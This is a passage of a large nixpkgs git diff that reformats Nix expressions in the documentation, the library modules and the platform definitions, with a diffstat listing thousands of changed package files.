 .../akku/akkuDerivation.nix                   |   6 +-
 .../package-management/apk-tools/default.nix  |  20 +-
 .../disnix/dysnomia/default.nix               |  42 +-
 .../package-management/lix/common-lix.nix     | 221 +++--
 .../lix/common-nix-eval-jobs.nix              |  20 +-
 .../nix/common-autoconf.nix                   | 233 +++--
 .../package-management/nix/common-meson.nix   | 161 ++--
 .../package-management/nix/dependencies.nix   |  63 +-
 .../nix/modular/packaging/components.nix      |  15 +-
 .../nix/modular/packaging/everything.nix      | 125 ++-
 .../nix/modular/src/libcmd/package.nix        |   3 +-
 .../nix/modular/src/libexpr/package.nix       |   6 +-
 .../modular/src/libfetchers-tests/package.nix |  25 +-
 .../nix/modular/src/libflake-c/package.nix    |  21 +-
 .../nix/modular/src/libstore/package.nix      |  36 +-
 .../nix/modular/src/libutil/package.nix       |  23 +-
 .../nix/modular/src/perl/package.nix          |   3 +-
 .../nix/modular/tests/functional/package.nix  |  35 +-
 .../tools/package-management/nix/nix-perl.nix |  69 +-
 .../package-management/packagekit/default.nix |  58 +-
 .../protontricks/default.nix                  |  23 +-
 pkgs/tools/package-management/rpm/default.nix | 136 ++-
 pkgs/tools/security/aflplusplus/default.nix   |  76 +-
 pkgs/tools/security/chipsec/default.nix       |  15 +-
 pkgs/tools/security/cve-bin-tool/default.nix  |   6 +-
 pkgs/tools/security/fwknop/default.nix        |  46 +-
 pkgs/tools/security/ggshield/default.nix      |  25 +-
 pkgs/tools/security/ghidra/build.nix          |  58 +-
 pkgs/tools/security/ghidra/default.nix        |   3 +-
 .../extensions/gnudisassembler/default.nix    |   3 +-
 .../tools/security/ghidra/with-extensions.nix |  24 +-
 pkgs/tools/security/gnupg/24.nix              | 114 ++-
 pkgs/tools/security/gopass/default.nix        |  21 +-
 pkgs/tools/security/gpg-tui/default.nix       |  25 +-
 pkgs/tools/security/nitrokey-app2/default.nix |  13 +-
 pkgs/tools/security/pass/default.nix          |  80 +-
 pkgs/tools/security/pinentry/default.nix      |  36 +-
 pkgs/tools/security/proxmark3/default.nix     |  51 +-
 pkgs/tools/security/stoken/default.nix        |  15 +-
 pkgs/tools/security/tor/default.nix           |  27 +-
 pkgs/tools/security/tor/torsocks.nix          |  23 +-
 .../security/tracee/integration-tests.nix     |  26 +-
 pkgs/tools/system/collectd/default.nix        |  16 +-
 pkgs/tools/system/collectd/plugins.nix        |  50 +-
 pkgs/tools/system/hw-probe/default.nix        |  37 +-
 pkgs/tools/system/netdata/default.nix         | 185 ++--
 pkgs/tools/system/nvtop/build-nvtop.nix       |  28 +-
 pkgs/tools/system/plan9port/default.nix       |  39 +-
 pkgs/tools/system/rsyslog/default.nix         |  61 +-
 pkgs/tools/system/testdisk/default.nix        |  29 +-
 pkgs/tools/text/gawk/default.nix              |  24 +-
 pkgs/tools/text/gawk/gawkextlib.nix           |  12 +-
 pkgs/tools/text/gnugrep/default.nix           |   3 +-
 pkgs/tools/text/highlight/default.nix         |  24 +-
 pkgs/tools/text/mdcat/default.nix             |  25 +-
 pkgs/tools/text/mecab/ipadic.nix              |  21 +-
 pkgs/tools/text/patchutils/generic.nix        |  17 +-
 pkgs/tools/typesetting/asciidoc/default.nix   | 264 ++---
 pkgs/tools/typesetting/tex/nix/default.nix    |   3 +-
 pkgs/tools/typesetting/tex/tetex/default.nix  |  27 +-
 pkgs/tools/typesetting/tex/texlive/bin.nix    | 244 +++--
 .../typesetting/tex/texlive/build-tex-env.nix |   6 +-
 .../tex/texlive/build-texlive-package.nix     |  74 +-
 .../tex/texlive/tlpdb-overrides.nix           |   7 +-
 pkgs/tools/virtualization/mkosi/default.nix   |  64 +-
 .../tools/virtualization/supermin/default.nix |  21 +-
 pkgs/top-level/all-packages.nix               |  12 +-
 pkgs/top-level/darwin-aliases.nix             |  77 +-
 pkgs/top-level/darwin-packages.nix            |   3 +-
 pkgs/top-level/haxe-packages.nix              |   3 +-
 pkgs/top-level/linux-kernels.nix              |  71 +-
 pkgs/top-level/perl-packages.nix              |  99 +-
 pkgs/top-level/php-packages.nix               | 899 +++++++++---------
 pkgs/top-level/release-alternatives.nix       |   6 +-
 pkgs/top-level/release-attrpaths-superset.nix |   3 +-
 pkgs/top-level/release-python.nix             |   3 +-
 pkgs/top-level/release.nix                    | 340 ++++---
 pkgs/top-level/stage.nix                      |   9 +-
 pkgs/top-level/unixtools.nix                  |  13 +-
 pkgs/top-level/variants.nix                   |  15 +-
 5031 files changed, 96420 insertions(+), 99045 deletions(-)

diff --git a/doc/hooks/tauri.section.md b/doc/hooks/tauri.section.md
index 32881813d42d..6804e4b5a055 100644
--- a/doc/hooks/tauri.section.md
+++ b/doc/hooks/tauri.section.md
@@ -45,7 +45,8 @@ rustPlatform.buildRustPackage (finalAttrs: {
 
     # Make sure we can find our libraries
     pkg-config
-  ] ++ lib.optionals stdenv.hostPlatform.isLinux [ wrapGAppsHook4 ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [ wrapGAppsHook4 ];
 
   buildInputs = lib.optionals stdenv.hostPlatform.isLinux [
     glib-networking # Most Tauri apps need networking
diff --git a/doc/languages-frameworks/coq.section.md b/doc/languages-frameworks/coq.section.md
index 5da705964fa8..8f35da176fc7 100644
--- a/doc/languages-frameworks/coq.section.md
+++ b/doc/languages-frameworks/coq.section.md
@@ -177,10 +177,8 @@ For instance, here is how you could add some code to be performed in the derivat
 
 ```nix
 coqPackages.multinomials.overrideAttrs (oldAttrs: {
-  postInstall =
-    oldAttrs.postInstall or ""
-    + ''
-      echo "you can do anything you want here"
-    '';
+  postInstall = oldAttrs.postInstall or "" + ''
+    echo "you can do anything you want here"
+  '';
 })
 ```
diff --git a/doc/languages-frameworks/python.section.md b/doc/languages-frameworks/python.section.md
index 4bdc92bd7ca9..629881042926 100644
--- a/doc/languages-frameworks/python.section.md
+++ b/doc/languages-frameworks/python.section.md
@@ -1370,20 +1370,19 @@ This is especially helpful to select tests or specify flags conditionally:
 
 ```nix
 {
-  disabledTests =
-    [
-      # touches network
-      "download"
-      "update"
-    ]
-    ++ lib.optionals (pythonAtLeast "3.8") [
-      # broken due to python3.8 async changes
-      "async"
-    ]
-    ++ lib.optionals stdenv.buildPlatform.isDarwin [
-      # can fail when building with other packages
-      "socket"
-    ];
+  disabledTests = [
+    # touches network
+    "download"
+    "update"
+  ]
+  ++ lib.optionals (pythonAtLeast "3.8") [
+    # broken due to python3.8 async changes
+    "async"
+  ]
+  ++ lib.optionals stdenv.buildPlatform.isDarwin [
+    # can fail when building with other packages
+    "socket"
+  ];
 }
 ```
 
@@ -2029,7 +2028,8 @@ and letting the package requiring the extra add the list to its dependencies
 {
   dependencies = [
     # ...
-  ] ++ dask.optional-dependencies.complete;
+  ]
+  ++ dask.optional-dependencies.complete;
 }
 ```
 
diff --git a/doc/stdenv/cross-compilation.chapter.md b/doc/stdenv/cross-compilation.chapter.md
index fcaa659f12e0..d901c2cf974c 100644
--- a/doc/stdenv/cross-compilation.chapter.md
+++ b/doc/stdenv/cross-compilation.chapter.md
@@ -171,7 +171,8 @@ e.g.
 {
   nativeBuildInputs = [
     meson
-  ] ++ lib.optionals (!stdenv.buildPlatform.canExecute stdenv.hostPlatform) [ mesonEmulatorHook ];
+  ]
+  ++ lib.optionals (!stdenv.buildPlatform.canExecute stdenv.hostPlatform) [ mesonEmulatorHook ];
 }
 ```
 
diff --git a/lib/customisation.nix b/lib/customisation.nix
index 9c50e6a26c3d..8f6fbe2d4042 100644
--- a/lib/customisation.nix
+++ b/lib/customisation.nix
@@ -446,16 +446,15 @@ rec {
     let
       outputs = drv.outputs or [ "out" ];
 
-      commonAttrs =
-        {
-          inherit (drv) name system meta;
-          inherit outputs;
-        }
-        // optionalAttrs (drv._hydraAggregate or false) {
-          _hydraAggregate = true;
-          constituents = map hydraJob (flatten drv.constituents);
-        }
-        // (listToAttrs outputsList);
+      commonAttrs = {
+        inherit (drv) name system meta;
+        inherit outputs;
+      }
+      // optionalAttrs (drv._hydraAggregate or false) {
+        _hydraAggregate = true;
+        constituents = map hydraJob (flatten drv.constituents);
+      }
+      // (listToAttrs outputsList);
 
       makeOutput =
         outputName:
diff --git a/lib/deprecated/misc.nix b/lib/deprecated/misc.nix
index 230efed40ffd..22015c9b20aa 100644
--- a/lib/deprecated/misc.nix
+++ b/lib/deprecated/misc.nix
@@ -355,8 +355,11 @@ let
   mergeAttrByFunc =
     x: y:
     let
-      mergeAttrBy2 =
-        { mergeAttrBy = mergeAttrs; } // (maybeAttr "mergeAttrBy" { } x) // (maybeAttr "mergeAttrBy" { } y);
+      mergeAttrBy2 = {
+        mergeAttrBy = mergeAttrs;
+      }
+      // (maybeAttr "mergeAttrBy" { } x)
+      // (maybeAttr "mergeAttrBy" { } y);
     in
     foldr mergeAttrs { } [
       x
diff --git a/lib/modules.nix b/lib/modules.nix
index d6061ec6d039..b6e4582806a6 100644
--- a/lib/modules.nix
+++ b/lib/modules.nix
@@ -884,19 +884,18 @@ let
       path = showOption loc;
       depth = length loc;
 
-      paragraphs =
-        [
-          "In module ${file}: expected an option declaration at option path `${path}` but got an attribute set with type ${actualTag}"
-        ]
-        ++ optional (actualTag == "option-type") ''
-          When declaring an option, you must wrap the type in a `mkOption` call. It should look somewhat like:
-              ${comment}
-              ${name} = lib.mkOption {
-                description = ...;
-                type = <the type you wrote for ${name}>;
-                ...
-              };
-        '';
+      paragraphs = [
+        "In module ${file}: expected an option declaration at option path `${path}` but got an attribute set with type ${actualTag}"
+      ]
+      ++ optional (actualTag == "option-type") ''
+        When declaring an option, you must wrap the type in a `mkOption` call. It should look somewhat like:
+            ${comment}
+            ${name} = lib.mkOption {
+              description = ...;
+              type = <the type you wrote for ${name}>;
+              ...
+            };
+      '';
 
       # Ideally we'd know the exact syntax they used, but short of that,
       # we can only reliably repeat the last. However, we repeat the
@@ -1625,25 +1624,24 @@ let
         ) from
       );
 
-      config =
-        {
-          warnings = filter (x: x != "") (
-            map (
-              f:
-              let
-                val = getAttrFromPath f config;
-                opt = getAttrFromPath f options;
-              in
-              optionalString (val != "_mkMergedOptionModule")
-                "The option `${showOption f}' defined in ${showFiles opt.files} has been changed to `${showOption to}' that has a different type. Please read `${showOption to}' documentation and update your configuration accordingly."
-            ) from
-          );
-        }
-        // setAttrByPath to (
-          mkMerge (
-            optional (any (f: (getAttrFromPath f config) != "_mkMergedOptionModule") from) (mergeFn config)
-          )
+      config = {
+        warnings = filter (x: x != "") (
+          map (
+            f:
+            let
+              val = getAttrFromPath f config;
+              opt = getAttrFromPath f options;
+            in
+            optionalString (val != "_mkMergedOptionModule")
+              "The option `${showOption f}' defined in ${showFiles opt.files} has been changed to `${showOption to}' that has a different type. Please read `${showOption to}' documentation and update your configuration accordingly."
+          ) from
         );
+      }
+      // setAttrByPath to (
+        mkMerge (
+          optional (any (f: (getAttrFromPath f config) != "_mkMergedOptionModule") from) (mergeFn config)
+        )
+      );
     };
 
   /**
diff --git a/lib/options.nix b/lib/options.nix
index 007a14f15b67..993cfb5525a1 100644
--- a/lib/options.nix
+++ b/lib/options.nix
@@ -572,30 +572,29 @@ rec {
       opt:
       let
         name = showOption opt.loc;
-        docOption =
-          {
-            loc = opt.loc;
-            inherit name;
-            description = opt.description or null;
-            declarations = filter (x: x != unknownModule) opt.declarations;
-            internal = opt.internal or false;
-            visible = if (opt ? visible && opt.visible == "shallow") then true else opt.visible or true;
-            readOnly = opt.readOnly or false;
-            type = opt.type.description or "unspecified";
-          }
-          // optionalAttrs (opt ? example) {
-            example = builtins.addErrorContext "while evaluating the example of option `${name}`" (
-              renderOptionValue opt.example
-            );
-          }
-          // optionalAttrs (opt ? defaultText || opt ? default) {
-            default = builtins.addErrorContext "while evaluating the ${
-              if opt ? defaultText then "defaultText" else "default value"
-            } of option `${name}`" (renderOptionValue (opt.defaultText or opt.default));
-          }
-          // optionalAttrs (opt ? relatedPackages && opt.relatedPackages != null) {
-            inherit (opt) relatedPackages;
-          };
+        docOption = {
+          loc = opt.loc;
+          inherit name;
+          description = opt.description or null;
+          declarations = filter (x: x != unknownModule) opt.declarations;
+          internal = opt.internal or false;
+          visible = if (opt ? visible && opt.visible == "shallow") then true else opt.visible or true;
+          readOnly = opt.readOnly or false;
+          type = opt.type.description or "unspecified";
+        }
+        // optionalAttrs (opt ? example) {
+          example = builtins.addErrorContext "while evaluating the example of option `${name}`" (
+            renderOptionValue opt.example
+          );
+        }
+        // optionalAttrs (opt ? defaultText || opt ? default) {
+          default = builtins.addErrorContext "while evaluating the ${
+            if opt ? defaultText then "defaultText" else "default value"
+          } of option `${name}`" (renderOptionValue (opt.defaultText or opt.default));
+        }
+        // optionalAttrs (opt ? relatedPackages && opt.relatedPackages != null) {
+          inherit (opt) relatedPackages;
+        };
 
         subOptions =
           let
diff --git a/lib/path/tests/default.nix b/lib/path/tests/default.nix
index 2ea43e04c3b7..1d6a55181f9f 100644
--- a/lib/path/tests/default.nix
+++ b/lib/path/tests/default.nix
@@ -14,14 +14,13 @@
 
 pkgs.runCommand "lib-path-tests"
   {
-    nativeBuildInputs =
-      [
-        nixVersions.stable
-      ]
-      ++ (with pkgs; [
-        jq
-        bc
-      ]);
+    nativeBuildInputs = [
+      nixVersions.stable
+    ]
+    ++ (with pkgs; [
+      jq
+      bc
+    ]);
   }
   ''
     # Needed to make Nix evaluation work
diff --git a/lib/systems/architectures.nix b/lib/systems/architectures.nix
index 615e5f6af56f..4d7d88a502ae 100644
--- a/lib/systems/architectures.nix
+++ b/lib/systems/architectures.nix
@@ -444,7 +444,8 @@ rec {
       "armv9.1-a" = [
         "armv9-a"
         "armv8.6-a"
-      ] ++ inferiors."armv8.6-a";
+      ]
+      ++ inferiors."armv8.6-a";
       "armv9.2-a" = lib.unique (
         [
           "armv9.1-a"
@@ -470,12 +471,14 @@ rec {
         "armv8.2-a"
         "cortex-a53"
         "cortex-a72"
-      ] ++ inferiors."armv8.2-a";
+      ]
+      ++ inferiors."armv8.2-a";
       cortex-a76 = [
         "armv8.2-a"
         "cortex-a53"
         "cortex-a72"
-      ] ++ inferiors."armv8.2-a";
+      ]
+      ++ inferiors."armv8.2-a";
 
       # Ampere
       ampere1 = withInferiors [
diff --git a/lib/systems/default.nix b/lib/systems/default.nix
index 1fbbd115cf4f..0b7a2ffdc271 100644
--- a/lib/systems/default.nix
+++ b/lib/systems/default.nix
@@ -83,472 +83,471 @@ let
       # TODO: deprecate args.rustc in favour of args.rust after 23.05 is EOL.
       rust = args.rust or args.rustc or { };
 
-      final =
-        {
-          # Prefer to parse `config` as it is strictly more informative.
-          parsed = parse.mkSystemFromString (args.config or allArgs.system);
-          # This can be losslessly-extracted from `parsed` iff parsing succeeds.
-          system = parse.doubleFromSystem final.parsed;
-          # TODO: This currently can't be losslessly-extracted from `parsed`, for example
-          # because of -mingw32.
-          config = parse.tripleFromSystem final.parsed;
-          # Determine whether we can execute binaries built for the provided platform.
-          canExecute =
-            platform:
-            final.isAndroid == platform.isAndroid
-            && parse.isCompatible final.parsed.cpu platform.parsed.cpu
-            && final.parsed.kernel == platform.parsed.kernel;
-          isCompatible =
-            _:
-            throw "2022-05-23: isCompatible has been removed in favor of canExecute, refer to the 22.11 changelog for details";
-          # Derived meta-data
-          useLLVM = final.isFreeBSD || final.isOpenBSD;
+      final = {
+        # Prefer to parse `config` as it is strictly more informative.
+        parsed = parse.mkSystemFromString (args.config or allArgs.system);
+        # This can be losslessly-extracted from `parsed` iff parsing succeeds.
+        system = parse.doubleFromSystem final.parsed;
+        # TODO: This currently can't be losslessly-extracted from `parsed`, for example
+        # because of -mingw32.
+        config = parse.tripleFromSystem final.parsed;
+        # Determine whether we can execute binaries built for the provided platform.
+        canExecute =
+          platform:
+          final.isAndroid == platform.isAndroid
+          && parse.isCompatible final.parsed.cpu platform.parsed.cpu
+          && final.parsed.kernel == platform.parsed.kernel;
+        isCompatible =
+          _:
+          throw "2022-05-23: isCompatible has been removed in favor of canExecute, refer to the 22.11 changelog for details";
+        # Derived meta-data
+        useLLVM = final.isFreeBSD || final.isOpenBSD;
 
-          libc =
-            if final.isDarwin then
-              "libSystem"
-            else if final.isMinGW then
-              "msvcrt"
-            else if final.isWasi then
-              "wasilibc"
-            else if final.isWasm && !final.isWasi then
-              null
-            else if final.isRedox then
-              "relibc"
-            else if final.isMusl then
-              "musl"
-            else if final.isUClibc then
-              "uclibc"
-            else if final.isAndroid then
-              "bionic"
-            else if
-              final.isLinux # default
-            then
-              "glibc"
-            else if final.isFreeBSD then
-              "fblibc"
-            else if final.isOpenBSD then
-              "oblibc"
-            else if final.isNetBSD then
-              "nblibc"
-            else if final.isAvr then
-              "avrlibc"
-            else if final.isGhcjs then
-              null
-            else if final.isNone then
-              "newlib"
-            # TODO(@Ericson2314) think more about other operating systems
-            else
-              "native/impure";
-          # Choose what linker we wish to use by default. Someday we might also
-          # choose the C compiler, runtime library, C++ standard library, etc. in
-          # this way, nice and orthogonally, and deprecate `useLLVM`. But due to
-          # the monolithic GCC build we cannot actually make those choices
-          # independently, so we are just doing `linker` and keeping `useLLVM` for
-          # now.
-          linker =
-            if final.useLLVM or false then
-              "lld"
+        libc =
+          if final.isDarwin then
+            "libSystem"
+          else if final.isMinGW then
+            "msvcrt"
+          else if final.isWasi then
+            "wasilibc"
+          else if final.isWasm && !final.isWasi then
+            null
+          else if final.isRedox then
+            "relibc"
+          else if final.isMusl then
+            "musl"
+          else if final.isUClibc then
+            "uclibc"
+          else if final.isAndroid then
+            "bionic"
+          else if
+            final.isLinux # default
+          then
+            "glibc"
+          else if final.isFreeBSD then
+            "fblibc"
+          else if final.isOpenBSD then
+            "oblibc"
+          else if final.isNetBSD then
+            "nblibc"
+          else if final.isAvr then
+            "avrlibc"
+          else if final.isGhcjs then
+            null
+          else if final.isNone then
+            "newlib"
+          # TODO(@Ericson2314) think more about other operating systems
+          else
+            "native/impure";
+        # Choose what linker we wish to use by default. Someday we might also
+        # choose the C compiler, runtime library, C++ standard library, etc. in
+        # this way, nice and orthogonally, and deprecate `useLLVM`. But due to
+        # the monolithic GCC build we cannot actually make those choices
+        # independently, so we are just doing `linker` and keeping `useLLVM` for
+        # now.
+        linker =
+          if final.useLLVM or false then
+            "lld"
+          else if final.isDarwin then
+            "cctools"
+          # "bfd" and "gold" both come from GNU binutils. The existence of Gold
+          # is why we use the more obscure "bfd" and not "binutils" for this
+          # choice.
+          else
+            "bfd";
+        # The standard lib directory name that non-nixpkgs binaries distributed
+        # for this platform normally assume.
+        libDir =
+          if final.isLinux then
+            if final.isx86_64 || final.isMips64 || final.isPower64 then "lib64" else "lib"
+          else
+            null;
+        extensions =
+          optionalAttrs final.hasSharedLibraries {
+            sharedLibrary =
+              if final.isDarwin then
+                ".dylib"
+              else if final.isWindows then
+                ".dll"
+              else
+                ".so";
+          }
+          // {
+            staticLibrary = if final.isWindows then ".lib" else ".a";
+            library = if final.isStatic then final.extensions.staticLibrary else final.extensions.sharedLibrary;
+            executable = if final.isWindows then ".exe" else "";
+          };
+        # Misc boolean options
+        useAndroidPrebuilt = false;
+        useiOSPrebuilt = false;
+
+        # Output from uname
+        uname = {
+          # uname -s
+          system =
+            {
+              linux = "Linux";
+              windows = "Windows";
+              darwin = "Darwin";
+              netbsd = "NetBSD";
+              freebsd = "FreeBSD";
+              openbsd = "OpenBSD";
+              wasi = "Wasi";
+              redox = "Redox";
+              genode = "Genode";
+            }
+            .${final.parsed.kernel.name} or null;
+
+          # uname -m
+          processor =
+            if final.isPower64 then
+              "ppc64${optionalString final.isLittleEndian "le"}"
+            else if final.isPower then
+              "ppc${optionalString final.isLittleEndian "le"}"
+            else if final.isMips64 then
+              "mips64" # endianness is *not* included on mips64
             else if final.isDarwin then
-              "cctools"
-            # "bfd" and "gold" both come from GNU binutils. The existence of Gold
-            # is why we use the more obscure "bfd" and not "binutils" for this
-            # choice.
+              final.darwinArch
             else
-              "bfd";
-          # The standard lib directory name that non-nixpkgs binaries distributed
-          # for this platform normally assume.
-          libDir =
-            if final.isLinux then
-              if final.isx86_64 || final.isMips64 || final.isPower64 then "lib64" else "lib"
+              final.parsed.cpu.name;
+
+          # uname -r
+          release = null;
+        };
+
+        # It is important that hasSharedLibraries==false when the platform has no
+        # dynamic library loader.  Various tools (including the gcc build system)
+        # have knowledge of which platforms are incapable of dynamic linking, and
+        # will still build on/for those platforms with --enable-shared, but simply
+        # omit any `.so` build products such as libgcc_s.so.  When that happens,
+        # it causes hard-to-troubleshoot build failures.
+        hasSharedLibraries =
+          with final;
+          (
+            isAndroid
+            || isGnu
+            || isMusl # Linux (allows multiple libcs)
+            || isDarwin
+            || isSunOS
+            || isOpenBSD
+            || isFreeBSD
+            || isNetBSD # BSDs
+            || isCygwin
+            || isMinGW
+            || isWindows # Windows
+            || isWasm # WASM
+          )
+          && !isStatic;
+
+        # The difference between `isStatic` and `hasSharedLibraries` is mainly the
+        # addition of the `staticMarker` (see make-derivation.nix).  Some
+        # platforms, like embedded machines without a libc (e.g. arm-none-eabi)
+        # don't support dynamic linking, but don't get the `staticMarker`.
+        # `pkgsStatic` sets `isStatic=true`, so `pkgsStatic.hostPlatform` always
+        # has the `staticMarker`.
+        isStatic = final.isWasi || final.isRedox;
+
+        # Just a guess, based on `system`
+        inherit
+          (
+            {
+              linux-kernel = args.linux-kernel or { };
+              gcc = args.gcc or { };
+            }
+            // platforms.select final
+          )
+          linux-kernel
+          gcc
+          ;
+
+        # TODO: remove after 23.05 is EOL, with an error pointing to the rust.* attrs.
+        rustc = args.rustc or { };
+
+        linuxArch =
+          if final.isAarch32 then
+            "arm"
+          else if final.isAarch64 then
+            "arm64"
+          else if final.isx86_32 then
+            "i386"
+          else if final.isx86_64 then
+            "x86_64"
+          # linux kernel does not distinguish microblaze/microblazeel
+          else if final.isMicroBlaze then
+            "microblaze"
+          else if final.isMips32 then
+            "mips"
+          else if final.isMips64 then
+            "mips" # linux kernel does not distinguish mips32/mips64
+          else if final.isPower then
+            "powerpc"
+          else if final.isRiscV then
+            "riscv"
+          else if final.isS390 then
+            "s390"
+          else if final.isLoongArch64 then
+            "loongarch"
+          else
+            final.parsed.cpu.name;
+
+        # https://source.denx.de/u-boot/u-boot/-/blob/9bfb567e5f1bfe7de8eb41f8c6d00f49d2b9a426/common/image.c#L81-106
+        ubootArch =
+          if final.isx86_32 then
+            "x86" # not i386
+          else if final.isMips64 then
+            "mips64" # uboot *does* distinguish between mips32/mips64
+          else
+            final.linuxArch; # other cases appear to agree with linuxArch
+
+        qemuArch =
+          if final.isAarch32 then
+            "arm"
+          else if final.isAarch64 then
+            "aarch64"
+          else if final.isS390 && !final.isS390x then
+            null
+          else if final.isx86_64 then
+            "x86_64"
+          else if final.isx86 then
+            "i386"
+          else if final.isMips64n32 then
+            "mipsn32${optionalString final.isLittleEndian "el"}"
+          else if final.isMips64 then
+            "mips64${optionalString final.isLittleEndian "el"}"
+          else
+            final.uname.processor;
+
+        # Name used by UEFI for architectures.
+        efiArch =
+          if final.isx86_32 then
+            "ia32"
+          else if final.isx86_64 then
+            "x64"
+          else if final.isAarch32 then
+            "arm"
+          else if final.isAarch64 then
+            "aa64"
+          else
+            final.parsed.cpu.name;
+
+        darwinArch = parse.darwinArch final.parsed.cpu;
+
+        darwinPlatform =
+          if final.isMacOS then
+            "macos"
+          else if final.isiOS then
+            "ios"
+          else
+            null;
+        # The canonical name for this attribute is darwinSdkVersion, but some
+        # platforms define the old name "sdkVer".
+        darwinSdkVersion = final.sdkVer or "11.3";
+        darwinMinVersion = final.darwinSdkVersion;
+        darwinMinVersionVariable =
+          if final.isMacOS then
+            "MACOSX_DEPLOYMENT_TARGET"
+          else if final.isiOS then
+            "IPHONEOS_DEPLOYMENT_TARGET"
+          else
+            null;
+
+        # Handle Android SDK and NDK versions.
+        androidSdkVersion = args.androidSdkVersion or null;
+        androidNdkVersion = args.androidNdkVersion or null;
+      }
+      // (
+        let
+          selectEmulator =
+            pkgs:
+            let
+              wine = (pkgs.winePackagesFor "wine${toString final.parsed.cpu.bits}").minimal;
+            in
+            # Note: we guarantee that the return value is either `null` or a path
+            # to an emulator program. That is, if an emulator requires additional
+            # arguments, a wrapper should be used.
+            if pkgs.stdenv.hostPlatform.canExecute final then
+              lib.getExe (pkgs.writeShellScriptBin "exec" ''exec "$@"'')
+            else if final.isWindows then
+              "${wine}/bin/wine${optionalString (final.parsed.cpu.bits == 64) "64"}"
+            else if final.isLinux && pkgs.stdenv.hostPlatform.isLinux && final.qemuArch != null then
+              "${pkgs.qemu-user}/bin/qemu-${final.qemuArch}"
+            else if final.isWasi then
+              "${pkgs.wasmtime}/bin/wasmtime"
+            else if final.isMmix then
+              "${pkgs.mmixware}/bin/mmix"
             else
               null;
-          extensions =
-            optionalAttrs final.hasSharedLibraries {
-              sharedLibrary =
-                if final.isDarwin then
-                  ".dylib"
-                else if final.isWindows then
-                  ".dll"
-                else
-                  ".so";
-            }
-            // {
-              staticLibrary = if final.isWindows then ".lib" else ".a";
-              library = if final.isStatic then final.extensions.staticLibrary else final.extensions.sharedLibrary;
-              executable = if final.isWindows then ".exe" else "";
-            };
-          # Misc boolean options
-          useAndroidPrebuilt = false;
-          useiOSPrebuilt = false;
+        in
+        {
+          emulatorAvailable = pkgs: (selectEmulator pkgs) != null;
 
-          # Output from uname
-          uname = {
-            # uname -s
-            system =
-              {
-                linux = "Linux";
-                windows = "Windows";
-                darwin = "Darwin";
-                netbsd = "NetBSD";
-                freebsd = "FreeBSD";
-                openbsd = "OpenBSD";
-                wasi = "Wasi";
-                redox = "Redox";
-                genode = "Genode";
-              }
-              .${final.parsed.kernel.name} or null;
+          # whether final.emulator pkgs.pkgsStatic works
+          staticEmulatorAvailable =
+            pkgs: final.emulatorAvailable pkgs && (final.isLinux || final.isWasi || final.isMmix);
 
-            # uname -m
-            processor =
-              if final.isPower64 then
-                "ppc64${optionalString final.isLittleEndian "le"}"
-              else if final.isPower then
-                "ppc${optionalString final.isLittleEndian "le"}"
+          emulator =
+            pkgs:
+            if (final.emulatorAvailable pkgs) then
+              selectEmulator pkgs
+            else
+              throw "Don't know how to run ${final.config} executables.";
+
+        }
+      )
+      // mapAttrs (n: v: v final.parsed) inspect.predicates
+      // mapAttrs (n: v: v final.gcc.arch or "default") architectures.predicates
+      // args
+      // {
+        rust = rust // {
+          # Once args.rustc.platform.target-family is deprecated and
+          # removed, there will no longer be any need to modify any
+          # values from args.rust.platform, so we can drop all the
+          # "args ? rust" etc. checks, and merge args.rust.platform in
+          # /after/.
+          platform = rust.platform or { } // {
+            # https://doc.rust-lang.org/reference/conditional-compilation.html#target_arch
+            arch =
+              if rust ? platform then
+                rust.platform.arch
+              else if final.isAarch32 then
+                "arm"
               else if final.isMips64 then
-                "mips64" # endianness is *not* included on mips64
-              else if final.isDarwin then
-                final.darwinArch
+                "mips64" # never add "el" suffix
+              else if final.isPower64 then
+                "powerpc64" # never add "le" suffix
               else
                 final.parsed.cpu.name;
 
-            # uname -r
-            release = null;
+            # https://doc.rust-lang.org/reference/conditional-compilation.html#target_os
+            os =
+              if rust ? platform then
+                rust.platform.os or "none"
+              else if final.isDarwin then
+                "macos"
+              else if final.isWasm && !final.isWasi then
+                "unknown" # Needed for {wasm32,wasm64}-unknown-unknown.
+              else
+                final.parsed.kernel.name;
+
+            # https://doc.rust-lang.org/reference/conditional-compilation.html#target_family
+            target-family =
+              if args ? rust.platform.target-family then
+                args.rust.platform.target-family
+              else if args ? rustc.platform.target-family then
+                (
+                  # Since https://github.com/rust-lang/rust/pull/84072
+                  # `target-family` is a list instead of single value.
+                  let
+                    f = args.rustc.platform.target-family;
+                  in
+                  if isList f then f else [ f ]
+                )
+              else
+                optional final.isUnix "unix" ++ optional final.isWindows "windows" ++ optional final.isWasm "wasm";
+
+            # https://doc.rust-lang.org/reference/conditional-compilation.html#target_vendor
+            vendor =
+              let
+                inherit (final.parsed) vendor;
+              in
+              rust.platform.vendor or {
+                "w64" = "pc";
+              }
+              .${vendor.name} or vendor.name;
           };
 
-          # It is important that hasSharedLibraries==false when the platform has no
-          # dynamic library loader.  Various tools (including the gcc build system)
-          # have knowledge of which platforms are incapable of dynamic linking, and
-          # will still build on/for those platforms with --enable-shared, but simply
-          # omit any `.so` build products such as libgcc_s.so.  When that happens,
-          # it causes hard-to-troubleshoot build failures.
-          hasSharedLibraries =
-            with final;
-            (
-              isAndroid
-              || isGnu
-              || isMusl # Linux (allows multiple libcs)
-              || isDarwin
-              || isSunOS
-              || isOpenBSD
-              || isFreeBSD
-              || isNetBSD # BSDs
-              || isCygwin
-              || isMinGW
-              || isWindows # Windows
-              || isWasm # WASM
-            )
-            && !isStatic;
-
-          # The difference between `isStatic` and `hasSharedLibraries` is mainly the
-          # addition of the `staticMarker` (see make-derivation.nix).  Some
-          # platforms, like embedded machines without a libc (e.g. arm-none-eabi)
-          # don't support dynamic linking, but don't get the `staticMarker`.
-          # `pkgsStatic` sets `isStatic=true`, so `pkgsStatic.hostPlatform` always
-          # has the `staticMarker`.
-          isStatic = final.isWasi || final.isRedox;
-
-          # Just a guess, based on `system`
-          inherit
-            (
-              {
-                linux-kernel = args.linux-kernel or { };
-                gcc = args.gcc or { };
-              }
-              // platforms.select final
-            )
-            linux-kernel
-            gcc
-            ;
-
-          # TODO: remove after 23.05 is EOL, with an error pointing to the rust.* attrs.
-          rustc = args.rustc or { };
-
-          linuxArch =
-            if final.isAarch32 then
-              "arm"
-            else if final.isAarch64 then
-              "arm64"
-            else if final.isx86_32 then
-              "i386"
-            else if final.isx86_64 then
-              "x86_64"
-            # linux kernel does not distinguish microblaze/microblazeel
-            else if final.isMicroBlaze then
-              "microblaze"
-            else if final.isMips32 then
-              "mips"
-            else if final.isMips64 then
